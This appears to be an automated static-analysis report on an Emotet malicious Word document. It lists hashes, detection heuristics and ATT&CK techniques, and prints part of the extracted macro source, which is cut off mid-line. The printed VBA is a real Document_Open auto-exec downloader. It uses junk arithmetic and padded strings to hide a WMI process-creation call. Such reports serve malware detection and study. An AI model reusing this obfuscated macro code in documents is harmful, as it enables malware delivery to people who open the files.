Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8fca9bce8df051f6…

MALICIOUS

Office (OLE)

209.6 KB Created: 2020-09-02 20:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: fa17f6fbf1ca008f79850aac09f97543 SHA-1: 3f6719e6b97578635829cdafc3af33ea44ee365f SHA-256: 8fca9bce8df051f62bdc11b757b222e9c696be8a7f77a84fd6586fbd0cb6f308
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-9752128-0. High-severity heuristics indicate the presence of a Document_Open VBA macro that uses CreateObject to execute obfuscated code. This behavior is characteristic of Emotet downloaders, which typically execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9752128-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9752128-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12857 bytes
SHA-256: 44e2032474d4d62efcccd5067789c0317f7e68daa1c75a81f3b145c160c8e24b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "C7cje4jjuz8ewqs30"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Vfu8or0c9mg9btc.Eqz3xslf44hgigcz
End Sub


Attribute VB_Name = "Vfu8or0c9mg9btc"
Attribute VB_Base = "0{A417B5A8-CBF9-44F8-8C8F-4EAD3DC16742}{50EC1661-DA81-4CC2-9AE6-604F6551B058}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Eqz3xslf44hgigcz()
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Bl8uqxx8chg_4 = 105
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Dye091w1t0l378v = ChrW$(Bl8uqxx8chg_4 + (10))
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Tuwe5bw3vbl = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Dye091w1t0l378v + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Vfu8or0c9mg9btc.Gx26txw6q45st + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Persi_4t3yk9i = Zg8891uyufsd(Tuwe5bw3vbl)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CS
... (truncated)